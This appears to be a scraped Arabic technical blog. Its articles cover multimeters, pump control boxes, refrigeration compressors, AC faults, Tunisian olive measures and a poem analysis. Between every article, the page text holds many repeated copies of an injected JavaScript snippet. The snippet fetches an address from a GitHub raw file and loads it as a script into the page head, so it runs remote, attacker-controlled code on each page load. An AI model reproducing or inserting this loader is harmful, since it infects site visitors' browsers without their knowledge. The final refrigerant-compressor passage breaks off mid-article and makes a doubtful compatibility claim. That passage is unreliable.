data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




جميع مواصفات وعيوب وإستعمالات Multimètre Contrôleur Digital DT9205A

مواصفات، عيوب واستخدامات جهاز الملتيميتر الرقمي DT9205A

مقدمة

جهاز الملتيميتر الرقمي DT9205A هو أداة قياس كهربائية شائعة الاستخدام في العديد من المجالات، من الصيانة الإلكترونية إلى المشاريع الهواة. يتميز هذا الجهاز بسهولة استخدامه ودقته العالية في قياس مجموعة متنوعة من الكميات الكهربائية. في هذا الشرح، سنتناول بالتفصيل مواصفات هذا الجهاز، وعيوبه المحتملة، بالإضافة إلى مجموعة واسعة من الاستخدامات التي يمكن أن يقوم بها.

المواصفات الفنية

  • قياس الجهد المستمر (DC Voltage): يتراوح نطاق القياس من 200 مللي فولت إلى 1000 فولت بدقة جيدة.
  • قياس الجهد المتردد (AC Voltage): يتراوح نطاق القياس من 2 فولت إلى 750 فولت.
  • قياس التيار المستمر (DC Current): يتراوح نطاق القياس من 2 مللي أمبير إلى 20 أمبير.
  • قياس التيار المتردد (AC Current): يتراوح نطاق القياس من 20 مللي أمبير إلى 20 أمبير.
  • قياس المقاومة: يتراوح نطاق القياس من 200 أوم إلى 20 ميجا أوم.
  • قياس السعة: يتراوح نطاق القياس من 20 نانوفاراد إلى 200 ميكروفاراد.
  • تردد العينة: يصل إلى 200 كيلوهرتز.
  • التذية: تعمل على بطارية 9 فولت.
  • الحماية: مزود بحماية ضد الدوائر القصيرة.

العيوب المحتملة

  • الدقة: على الرغم من أن الجهاز يوفر دقة جيدة، إلا أنها قد تكون محدودة مقارنة بأجهزة القياس المتخصصة.
  • الحساسية للتاخلات: قد يتأثر الجهاز بالتداخلات الكهرومغناطيسية، خاصة في بيئات العمل الصاخبة.
  • الاستخدام الخاطئ: قد يؤدي الاستخدام الخاطئ للجهاز إلى تلفه أو إتلاف الدوائر التي يتم قياسها.
  • البطارية: تعتمد على بطارية 9 فولت، مما يتطلب استبدالها بشكل دوري.

الاستخدامات

  • صيانة الأجهزة الإلكترونية: يمكن استخدام الجهاز لاختبار المكونات الإلكترونية مثل المقاومات والمكثفات والترانزستورات.
  • البحث عن الأعطال في الدوائر الإلكترونية: يساعد في تحديد موقع الأعطال في الدوائر الكهربائية والإلكترونية.
  • قياس الجهد والتيار في الدوائر: يمكن استخدامه لقياس الجهد والتيار في الدوائر الكهربائية المختلفة.
  • اختبار سلامة الأجهزة الكهربائية: يساعد في التأكد من سلامة الأجهزة الكهربائية قبل استخدامها.
  • مشاريع الهواة: يستخدم على نطاق واسع في مشاريع الهواة الإلكترونية.
  • السيارات: يمكن استخدامه لفحص بطارية السيارة ومولدها.

نصائح للاستخدام

  • قراءة دليل المستخدم: قبل استخدام الجهاز، يجب قراءة دليل المستخدم بعناية لفهم جميع الوظائف والإعدادات.
  • اختيار النطاق المناسب: يجب اختيار النطاق المناسب للقياس لتجنب تلف الجهاز.
  • الحذر من الجهد العالي: يجب توخي الحذر عند قياس الجهد العالي.
  • التأريض: يجب التأكد من أن الجهاز موصل بالأرض بشكل صحيح.
  • الصيانة الدورية: يجب تنظيف الجهاز بشكل دوري والاحتفاظ به في مكان جاف.

الخلاصة

يعتبر جهاز الملتيميتر الرقمي DT9205A أداة أساسية لأي شخص يعمل في مجال الإلكترونيات أو لديه اهتمام بالمشاريع الإلكترونية. يتميز هذا الجهاز بسهولة الاستخدام ودقة جيدة، مما يجعله خيارًا ممتازًا للمبتدئين والمحترفين على حد سواء. ومع ذلك، يجب الحرص على استخدامه بشكل صحيح لتجنب أي أضرار.

ملحظة: هذا الشرح يهدف إلى تقديم معلومات عامة عن جهاز الملتيميتر DT9205A. قد تختلف بعض المواصفات والتفاصيل حسب طراز الجهاز والمصنع.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




صندوق التحكم في المضخة الغاطسة بقوة واحد حصان ودور المكثف فيه

صندوق التحكم في المضخة الغاطسة بقوة واحد حصان ودور المكثف فيه

مقدمة

صندوق التحكم هو الجهاز المسؤول عن تشغيل وإدارة المضخات الغاطسة، تلك التي تغمر بالكامل داخل السائل الذي يتم ضخه. تلعب هذه الصناديق دورًا حاسمًا في ضمان عمل المضخة بكفاءة وأمان، خاصة في الأنظمة المنزلية والصناعية الصغيرة.

ما هو صندوق التحكم؟

صندوق التحكم هو عبارة عن وحدة كهربائية تحتوي على مجموعة من لمكوات اللكترونية والميكانيكية التي تعمل معًا للتحكم في تشغيل المضخة. يقوم هذا الصندوق بوظائف عديدة، منها:

  • تشغيل وإيقاف المضخة: بناءً على مستويات الماء أو الضغط.
  • الحماية من الحمل الزائد: لمنع تلف المحرك.
  • الحماية من الجفاف: لمنع عمل المضخة بدون ماء.
  • ضبط الضغط: للتحكم في قوة دفع الماء.

دور المكثف في صندوق التحكم

المكثف هو عنصر أساسي في صندوق التحكم للمضخات أحادية الطور. يقوم بتخزين الشحنة الكهربائية، مما يساعد على:

  • تقليل التيار الابتدائي: عندما يتم تشغيل المحرك، يحتاج إلى تيار كبير في البداية. يقوم المكثف بتوفير هذا التيار، مما يقلل الضغط على المحرك.
  • تحسين عامل القدرة: مما يزيد من كفاءة استخدام الطاقة.
  • تخفيف التذبذبات: يساهم في عمل المحرك بسلاسة.

عادةً ما يكون قياس المكثف المستخدم في مضخات بقوة واحد حصان حوالي 40 ميكروفاراد.

مكونات صندوق التحكم

  • المحولات: تقوم بتحويل الجهد الكهربائي إلى الجهد المناسب للمضخة.
  • المكثف: كما ذكرنا، لتقليل التيار الابتدائي وتحسين عامل القدرة.
  • الوصلات الكهربائية: تربط بين المكونات المختلفة.
  • الأجهزة الحرارية: تحمي المحرك من الحرارة الزائدة.
  • الأجهزة الحماية من التيار الزائد: تقطع التيار في حالة حدوث ماس كهربائي.
  • عناصر التحكم: مثل الأزرار والمفاتيح.
  • لوحة التحكم: تعرض حالة التشغيل والمؤشرات الضوئية.

أهمية اختيار صندوق التحكم المناسب

  • التوافق: يجب أن يكون متوافقًا مع قوة المضخة وجهد التشغيل.
  • الجودة: مصنوع من مواد عالية الجودة.
  • سهولة الاستخدام: يحتوي على تعليمات واضحة.
  • العلامة التجارية: يفضل اختيار ماركات معروفة.

نصائح لصيانة صندوق التحكم

  • التنظيف الدوري: إزالة الأتربة والشوائب.
  • الفحص المنتظم: التأكد من سلامة الوصلات والجهزة.
  • التحقق من المكثف: التأكد من أنه يل بكفاءة.

خاتمة

صندوق التحكم هو عنصر حيوي في نظام الضخ، وله دور كبير في الحفاظ على عمر المضخة وتحسين أدائها. من خلال فهم مكونات وظائف صندوق التحكم، يمكنك اختيار وصيانة صندوق التحكم بشكل صحيح، مما يضمن لك عمل مضختك بكفاءة وأمان.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




شرح مفصل لوسائل قياس كيل الزيتون في تونس… القلبة كمثال

شرح مفصل لوسائل قياس الزيتون في تونس

أهلاً بك! سأشرح لك بشكل أكثر تفصيلاً وسائل قياس الزيتون التقليدية في تونس، وهي:

القلبة

  • ما هي؟ هي وحدة قياس تقليدية تستخدم بشكل شائع في قياس كمية الزيتون.
  • الحجم التقريبي: يقدر حجم القلبة بحوالي 14 كيلوغرام من الزيتون، بشرط أن يتم تعبئتها بشكل صحيح ومضغوط.
  • الحساب: خمس قلبات تساوي حوالي 70 كيلوغراماً من الزيتون.

الويبة

  • العلاقة بالقلبة: الويبة هي عبارة عن ضعف القلبة تقريباً.
  • الحجم التقريبي: تتكون الويبة من قرابة قلبتين، أي حوالي 28 كيلوغراماً من الزيتون.
  • الاستخدام: تتخدم الويبة عادة لقياس كميات أكبر قليلاً من الزيتون مقارنة بالقلبة.

القفيز

  • أكبر وحدة: القفيز هو أكبر وحدة قياس من بين الثلاثة.
  • الحجم التقريبي: يتكون القفيز من 32 قلبة، أي ما يعادل تقريباً 448 كيلوغراماً من الزيتون.
  • الاستخدام: يستخدم القفيز لقياس كميات كبيرة من الزيتون، خصوصً عند البيع أو الشراء بكميات تجارية.

ملاحظات هامة:

  • التقدير التقريبي: هذه الأوزان هي تقديرات تقريبية وقد تختلف قليلاً حسب حجم الزيتون وكيفية تعبئة الأواني.
  • الأهمية الثقافية: هذه الوسائل التقليدية للقياس تحمل قيمة ثقافية وتاريخية كبيرة في المجتمع التونسي.
  • الانتشار: لا تزال هذه الوسائل تستخدم في بعض المناطق الريفية في تونس، خاصة في المناطق الزراعية.

لماذا تستخدم هذه الوسائل؟

  • التعود: المزارعون والتجار معتادون على استخدام هذه الوسائل منذ زمن طويل.
  • البساطة: لا تحتاج هذه الوسائل إلى أدوات قياس معقدة.
  • التواصل: تسمح هذه الوسائل بالتواصل بسهولة بين المزارعين والتجار.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




الفرق بين كباس Lbp وكباس Hbp وكباس MHbp وماهي إستعمالاتهم حسب الأحجام وأنواع الغاز

شرح مفصل للفرق بين ضواغط LBP و HBP و MBP مع جدول توضيحي

أهلاً بك! سأشرح لك ببساطة ووضوح الفرق بين أنواع الضواغط الثلاثة الرئيسية المستخدمة في أنظمة التبريد والتكييف، وهي LBP و HBP و MBP، مع جدول يوضح استخداماتها بشكل مبسط.

ما هي ضواغط LBP, HBP, MBP؟

تعتمد هذه التصنيفات على ضغط السحب (الباك برسشر) في النظام، والذي يرتبط بدوره بدرجة حرارة التبخر. بمعنى آخر، كل نوع من هذه الضواغط مصمم للعمل في ظروف ضغط معينة تتناسب مع نوع التطبيق.

  • LBP (Low Back Pressure):

    • ضغط سحب منخفض.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر منخفضة.
    • أمثلة على الاستخدامات: المجمدات، الثلاجات، حافظات الطعام.
  • MBP (Medium Back Pressure):

    • ضغط سحب متوسط.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر متوسطة.
    • أمثلة على الاستخدامات: عارضات المشروبات، بعض أنواع الثلاجات التجارية.
  • HBP (High Back Pressure):

    • ضغط سحب مرتفع.
    • تستخدم في الأنظمة ذات درجة حرارة تبخر مرتفعة.
    • أمثلة على الاستخدامات: المبردات، مزيلات الرطوبة، مجففات الهواء.

جدول مقارن بين أنواع الضواغط واستخداماتها

نوع الضاغط ضغط السحب درجة حرارة التبخر الاستخدامات النموذجية
LBP منخفض منخفضة مجمدات، ثلاجات، حافظات طعام
MBP متوسط متوسطة عارضات مشروبات، ثلاجات تجارية
HBP مرتفع مرتفعة مبردات، مزيلات الرطوبة، مجففات الهواء

العوامل المؤثرة على اختيار نوع الضاغط

عند اختيار نوع الضاغط المناسب، يجب مراعاة عدة عوامل:

  • نوع المبرد: لكل مبرد ضغوط تشغيل محددة.
  • درجة حرارة البيئة: تؤثر على ضغط التبخر.
  • سعة النظام: تحدد حجم الضاغط المطلوب.
  • نوع التطبيق: يحدد نطاق درجة الحرارة المطلوبة.

ملحوظات هامة

  • التصنيف ليس مطلقًا: قد تختلف هذه التصنيفات قليلاً بين الشركات المصنعة للضواغط.
  • الضواغط المركبة: قد تجد ضواغط تجمع بين خصائص نوعين مثل L/MBP.
  • أهمية اختيار الضاغط المناسب: اختيار الضاغط المناسب يضمن كفاءة النظام وطول عمره.

لماذا هذا التصنيف مهم؟

فهم هذا التصنيف يساعدك على:

  • اختيار الضاغط المناسب لأي تطبيق تبريد أو تكييف.
  • تشخيص أعطال الأنظمة بشكل أسرع.
  • تحسين كفاءة الطاقة في الأنظمة.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




اسباب تراكم الثلج فى الثلاجة والديب فريزر الديفروست

أسباب تراكم الثلج فى الثلاجة والديب فريزر الديفروست

لو الباب غير محكم الغلق هيسبب تكوين الثلج وده بيكون عيب مفصلات او كوتس الباب

او الثرموستات تالف لا يفصل وتحتاج تغير الثرموستات لفصل الموتور واذابه الثلج كل فترة

او رطوبه عاليه بالمكان المحيط وعدم التهوية

شوف اى السبب من الثلاث اسباب عندك وحل المشكله

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




مكثف التشغيل للمكيف

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




علامات قد تظهر على المكيف الخاص بك يجب ان تعلم سببها وما يجب فعله بعد ظهورها

 

 علامات قد تظهر على المكيف الخاص بك يجب ان تعلم سببها وما يجب فعله بعد ظهورها 
 الصورة رقم 01 : ظهور جليد على الانبوب النحاسي الصغير وهذا راجع الى نقص في الغاز لوجود تسرب وفي هاته الحالة يجب الاتصال بمختص لكشف مكان التسريب أولا وهذا الأهم تم زيادة الغاز وليس زيادة الغاز مباشرة .
 الصورة رقم 02 : ظهور جليد على الانبوب النحاسي الكبير وفي هاته الحالة يجيب تنظيف الوحدة الداخلية و الخارجية بما في ذلك فلاتر الهواء في الوحدة الداخلية او هناك تلف في الانبوب النحاسي الكبير .
 الصورة رقم 03 : ظهور جليد على كلا الانبوبين وهذا يدل على نقص فادح في الغاز وهنا يجب عدم تشغيل المكيف و الاتصال بمختص لان تشغليه قد يؤدي الى اتلاف المحرك .
 الصورة رقم 04 : ظهور قطرات مائية على الانبوب النحاسي الكبير وهذا يدل على نظافة المكيف وانه شغل بكفاءة عالية ودورة التبريد ممتازة .

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




مكثفات التشغيل في المكيفات

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




قطعة سكر للشاعر التونسي منير بن صالح ميلاد

مثلا كقطعة سكرْ
في يدي طفل
مريض لم يكبرْ
يخالها لعبة
أو قطعة مرمرْ
تعجبه وهلة
وأخرى يراها خطا أحمرْ
يرميها بعيدا
ثم يلتقطها عندما يسكرْ
يبتسم في وجهها
يهمهم” فعلا إنك قطعة سكرْ ”
الشاعر منير بن صالح ميلاد

في قصيدة “مثلا كقطعة سكرْ” للشاعر التونسي منير بن صالح ميلاد، يصور الشاعر العلاقة بين الإنسان والحب. في بداية القصيدة، يشبه الشاعر الحب بقطعة سكر في يد طفل مريض لم يكبر. الطفل ينظر إلى الحب كلعبة أو قطعة مرمر. في البداية، يعجب الطفل بالحب، لكنه سرعان ما يراه خطا أحمر. يرمي الطفل الحب بعيدا، لكنه يلتقطه مرة أخرى عندما يسكر. عندما يسكر الطفل، يبتسم في وجه الحب ويهمسه “فعلا إنك قطعة سكر”.

يمكن تفسير هذه القصيدة على عدة مستويات. على المستوى الشخصي، يمكن أن تعكس القصيدة تجارب الشاعر الخاصة مع الحب. على المستوى الاجتماعي، يمكن أن تعكس القصيدة نظرة المجتمع إلى الحب. على المستوى الفلسفي، يمكن أن تعكس القصيدة طبيعة الحب نفسه.

على المستوى الشخصي، يبدو أن الشاعر يعاني من علاقة حب مضطربة. في البداية، يشعر الشاعر بالحب، لكنه سرعان ما يشعر بالألم أو الإحباط. يحاول الشاعر التخلص من الحب، لكنه سرعان ما يعود إليه.

على المستوى الاجتماعي، يمكن أن تعكس القصيدة نظرة المجتمع إلى الحب. في كثير من الأحيان، ينظر المجتمع إلى الحب كشيء طفولي أو غير عقلاني. ينظر المجتمع إلى الحب كشيء يمكن أن يسبب الألم أو الإحباط.

على المستوى الفلسفي، يمكن أن تعكس القصيدة طبيعة الحب نفسه. الحب هو عاطفة قوي يمكن أن تكون مصدرًا للسعادة والألم. الحب يمكن أن يكون صعبًا الفهم أو السيطرة عليه.

في النهاية، تترك القصيدة انطباعًا غامضًا. لا يوضح الشاعر ما إذا كان الحب شيء جيد أو سيء. يترك الشاعر الأمر للقارئ ليقرر.

فيما يلي بعض الأفكار الإضافية حول القصيدة:

  • يمكن أن ترمز قطعة السكر إلى السعادة أو المتعة.
  • يمكن أن يرمز الطفل المريض إلى الشخص الذي لم ينضج عاطفيا.
  • يمكن أن يرمز الخط الأحمر إلى الحواجز أو العقبات التي تقف في طريق الحب.
  • يمكن أن يرمز السكر إلى شيء حلو أو لذيذ.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




الفرق بين السعة الفعلية والسعة الإسمية للكباس

تشير السعة الاسمية لوحدة تكييف الهواء إلى قدرة التبريد التي تم تصنيف الوحدة لها من قبل الشركة المصنعة. يعتمد هذا التصنيف على ظروف معينة، مثل تشغيل الوحدة في بيئة ذات مستوى درجة حرارة ورطوبة محدد. ومن ناحية أخرى، تشير السعة الفعلية إلى مقدار التبريد الذي تستطيع الوحدة توفيره في االضروف الحقيقية شروط. قد تكون السعة الفعلية أقل من السعة الاسمية بسبب عوامل مثل سوء التركيب أو نقص الصيانة أو التغيرات في البيئة. من المهم ملاحظة أن السعة الفعلية لوحدة تكييف الهواء يمكن أن تختلف أيضًا اعتمادًا على درجة الحرارة والرطوبة مستوى البيئة التي تعمل فيها. على سبيل المثال، الوحدة التي تبلغ سعتها الاسمية12000 وحدة حرارية بريطانية/ساعة قد تكون قادرة فقط على توفير 10000 وحدة حرارية بريطانية/ساعة من التبريد في بيئة حارة ورطبة، بينما يمكنها توفير 12000 وحدة حرارية بريطانية/ساعة تبريد في بيئة أكثر برودة وجفافة

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




هل من الممكن استبدال ضاغط مكيف R22 مكان ضاغط R410A

تغيير ضاغط R22 بضاغط R410

يمكن تغيير ضاغط R22 بضاغط R410، ولكن هناك بعض الأشياء التي يجب مراعاتها.

أولاً، يجب أن يكون الضاغط الجديد متوافقًا مع النظام الحالي. يجب أن يكون الضاغط الجديد بنفس الحجم والقدرة والضغط مثل الضاغط القديم.

